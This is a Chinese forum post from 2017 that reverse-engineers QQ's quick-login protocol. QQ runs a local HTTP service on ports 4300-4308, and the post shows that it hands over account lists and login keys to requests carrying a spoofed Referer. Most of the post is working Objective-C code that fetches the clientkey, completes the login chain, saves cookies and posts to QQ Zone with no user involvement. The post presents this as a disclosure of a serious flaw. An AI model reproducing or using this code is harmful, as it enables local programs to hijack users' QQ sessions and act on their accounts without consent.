好友
阅读权限 20
听众
最后登录 1970-1-1
本帖最后由 maozhenyu 于 2017-3-21 15:24 编辑
本文章仅限学习,请勿用作非法用途
PS. 新人,到底发在哪个版块不清楚。如果发错了请管理员移动。
众所周知,Tencent以前使用Activex的方式实施QQ快速登录,在一个陌生浏览器上使用,第一件事就是安装QuickLogin控件。
就在不知道什么时候,快速登录突然不用控件了。
当时很疑惑,Tencent用了什么奇葩的方法做到Web和本地的应用程序交互呢?
在没有插件的情况下,Web页面应该无法直接和本地的应用程序直接交互(除非定义协议,但也只能调起,不能获取程序提供的结果)。
在机缘巧合下(好吧就是闲着无聊看任务管理器发现了本机的httpd,发现Apache在运行的时候)突然意识到了一种可能:如果QQ在本地开了个端口,做了个Web服务器,也就是符合HTTP协议的TCP服务端,然后网页ajax向那个QQ(此时作为Web服务器)发起请求,是不是就可以获得结果呢。
结果真的就是这样,
网页JS向http://localhost.ptlogin2.qq.com(端口从4300-4308,一个个试试到成功)发起GET一个请求
ping一下就会发现是127.0.0.1,一查端口,确实是QQ在用。
第一个请求:/pt_get_uins?callback=ptui_getuins_CB&r=0.5919004196050326&pt_local_tk=399224727
pt_local_tk 来自cookie,管他是什么东西;r就是个随机数
返回的结果是个JSON数组:
var var_sso_uin_list=[{"account":"登录的QQ账号","face_index":-1,"gender":0,"nickname":"你的QQ昵称","uin":"还是你的QQ账号","client_type":66818,"uin_flag":8388612}];ptui_getuins_CB(var_sso_uin_list);
然后用http://ptlogin2.qq.com/getface来获取QQ头像,这里不做讨论
这样你的QQ信息就能显示在Web页面上了。
当你按下你的头像(选择这个登录的时候)
下列请求产生:
http://localhost.ptlogin2.qq.com:4300/pt_get_st?clientuin=你的QQ号&callback=ptui_getst_CB&r=0.7293395590126179&pt_local_tk=399224727
同样的,r是随机数,pt_local_tk是来自cookie,local_token
这个请求做什么事情呢?
嗯,Set-Cookie。
然后继续请求
http://ptlogin2.qq.com/jump?clientuin=你的QQ号&keyindex=19&pt_aid=549000912&daid=5&u1=http%3A%2F%2Fqzs.qzone.qq.com%2Fqzone%2Fv5%2Floginsucc.html%3Fpara%3Dizone&pt_local_tk=1881902769&pt_3rd_aid=0&ptopt=1&style=40
这里唯一的u1就是目标地址
这个请求将返回所有需要的cookie,至此你就登录成功了。
那么学会了协议之后,就发现了一个很严重的问题:如果一个(黑心的)程序代替用户做了这些事情,会发生什么?
立刻动手!
手边只有Mac,于是用的是Obj-C写的。
[self GET:@"http://localhost.ptlogin2.qq.com:4300/pt_get_uins?callback=ptui_getuins_CB&r=0.47178753013324637&pt_local_tk=-1211438011" header:nil];
//这里的GET是我自己封装的一个方法,GET网页上的数据
注意:由于有之前做QQ机器人(基于WebQQ协议)的经验:Referer头是很重要的(必须是.qq.com的域名),一旦错误,必定失败。所以这里没绕弯子
By the way, 那个时候刚刚接触Obj-C,部分代码可能看起来有点蠢,请原谅。
//cookiedata是个NSDictionary
[Objective-C] 纯文本查看 复制代码
-(void)GET:(NSString*) urladd header:(NSDictionary*)Header;
{
NSURL *url = [NSURL URLWithString:urladd];
NSMutableURLRequest *request = [NSMutableURLRequest requestWithURL:url];
NSString* Cookie=@"";
for (NSString* key in cookiedata) {
Cookie=[Cookie stringByAppendingFormat:@"%@=%@; ",key,[cookiedata objectForKey:key]];
}
[request addValue:Cookie forHTTPHeaderField:@"Cookie"];
[request addValue:@"http://xui.ptlogin2.qq.com/cgi-bin/xlogin?proxy_url=http%3A//qzs.qq.com/qzone/v6/portal/proxy.html&daid=5&&hide_title_bar=1&low_login=0&qlogin_auto_login=1&no_verifyimg=1&link_target=blank&appid=549000912&style=22&target=self&s_url=http%3A%2F%2Fqzs.qq.com%2Fqzone%2Fv5%2Floginsucc.html%3Fpara%3Dizone&pt_qr_app=%E6%89%8B%E6%9C%BAQQ%E7%A9%BA%E9%97%B4&pt_qr_link=http%3A//z.qzone.com/download.html&self_regurl=http%3A//qzs.qq.com/qzone/v6/reg/index.html&pt_qr_help_link=http%3A//z.qzone.com/download.html" forHTTPHeaderField:@"Referer"];
NSURLSessionConfiguration *config = [NSURLSessionConfiguration defaultSessionConfiguration];
NSURLSession *session = [NSURLSession sessionWithConfiguration:config delegate:self delegateQueue:[NSOperationQueue currentQueue]];
NSURLSessionDataTask *dataTask = [session dataTaskWithRequest:request completionHandler:^(NSData * _Nullable data, NSURLResponse * _Nullable response, NSError * _Nullable error) {
NSDictionary *rspheaders = [(NSHTTPURLResponse *)response allHeaderFields];
NSArray *cookies =[[NSArray alloc]init];
cookies = [NSHTTPCookie cookiesWithResponseHeaderFields:rspheaders forURL:url];
for (NSHTTPCookie *cookie in cookies) {
if([cookie.value isEqualToString:@""])
{ continue; }
[cookiedata setObject:cookie.value forKey:cookie.name]; //存起来
}
if (error == nil) {
NSString* aStr;
aStr = [[NSString alloc] initWithData:data encoding:NSUTF8StringEncoding];
if([aStr rangeOfString:@"var_sso_uin_list"].length!=0) //如果这是第一次请求(获取在线列表)
{
aStr=[aStr stringByReplacingOccurrencesOfString:@"var var_sso_uin_list=" withString:@""];
aStr=[aStr stringByReplacingOccurrencesOfString:@";ptui_getuins_CB(var_sso_uin_list);" withString:@""];
//懒得用正则去匹配了,简单粗暴的做替换
NSData *data= [aStr dataUsingEncoding:NSUTF8StringEncoding];
NSDictionary *rootDic = [NSJSONSerialization JSONObjectWithData:data options:NSJSONReadingMutableLeaves error:&error]; //这里解析JSON
NSString* uin=@"";
for(NSDictionary* name in rootDic)
{
NSLog(@"登录的QQ:%@,昵称:%@",name[@"uin"],name[@"nickname"]);
uin=name[@"uin"];
break;
}
NSString* newul=[[NSString alloc] initWithFormat:@"http://localhost.ptlogin2.qq.com:4302/pt_get_st?clientuin=%@&callback=ptui_getst_CB&r=0.8042511733970701&pt_local_tk=561916029",uin]; //发起下一个请求,也就是登录
[self GET:newul header:nil];
}
else if([aStr rangeOfString:@"var_sso_get_st_uin"].length!=0) //那么如果是第二个请求
{
NSString * clientkey;
clientkey=cookiedata[@"clientkey"];
clientuin=cookiedata[@"clientuin"];
UInt64 recordTime = [[NSDate date] timeIntervalSince1970]*1000; //时间戳
NSString* newul=[[NSString alloc] initWithFormat:@"http://ptlogin2.qq.com/jump?clientuin=%@&keyindex=19&pt_aid=549000912&daid=5&u1=%@&pt_local_tk=%llu&pt_3rd_aid=0&ptopt=1&style=40",clientuin,@"http%3A%2F%2Fqzs.qq.com%2Fqzone%2Fv5%2Floginsucc.html%3Fpara%3Dizone",recordTime];
[cookiedata setObject:[[NSString alloc] initWithFormat:@"%llu",recordTime] forKey:@"pt_local_token"];
NSString* newcookie=[[NSString alloc] initWithFormat:@"clientuin=%@;clientkey=%@;pt_local_token=%llu",clientuin,clientkey,recordTime];
NSDictionary *dict = [NSDictionary dictionaryWithObjectsAndKeys:newcookie,@"Cookie", nil];
[self GET:newul header:dict]; //这里执行第三个请求
}
else if([aStr rangeOfString:@"ptui_qlogin_CB('0'"].length!=0)
{
aStr=[aStr stringByReplacingOccurrencesOfString:@"ptui_qlogin_CB('0', '" withString:@""];
aStr=[aStr stringByReplacingOccurrencesOfString:@"', '');" withString:@""];
aStr=[aStr stringByReplacingOccurrencesOfString: @"\r" withString:@""];
aStr=[aStr stringByReplacingOccurrencesOfString: @"\n" withString:@""]; //这里继续简单粗暴地用replace解决问题
[self GET:aStr header:[NSDictionary dictionaryWithObjectsAndKeys:@"",@"Cookie", nil]];//提交check_sig
}
else if([urladd rangeOfString:@"check_sig"].length!=0)//check_sig
{
[self PostEmotion]; //登录成功了,这里召唤了QQ空间发帖的函数
[cookiedata writeToFile:plist atomically:YES];
NSLog(@"Success");
}
}
else
{
NSLog(@"Error:%@ URL:[[[[%@]]]]]",error,urladd); //有没有错误
}
}];
这样就完成了登录,随便找个QQ空间的接口(这里不贴出来了),发帖成功。
这意味着什么?意味着只要是本地运行的一个程序,完全有机会代替你完成QQ登录,并在QQ空间等不需要二次认证的平台做一些偷偷摸摸的操作
免费评分
查看全部评分
本帖被以下淘专辑推荐:
· 鱼木收集 | 主题: 2546, 订阅: 2717
· 学习及教程 | 主题: 1131, 订阅: 1123
· 分析示例 | 主题: 622, 订阅: 108
发帖前要善用【论坛搜索 】 功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。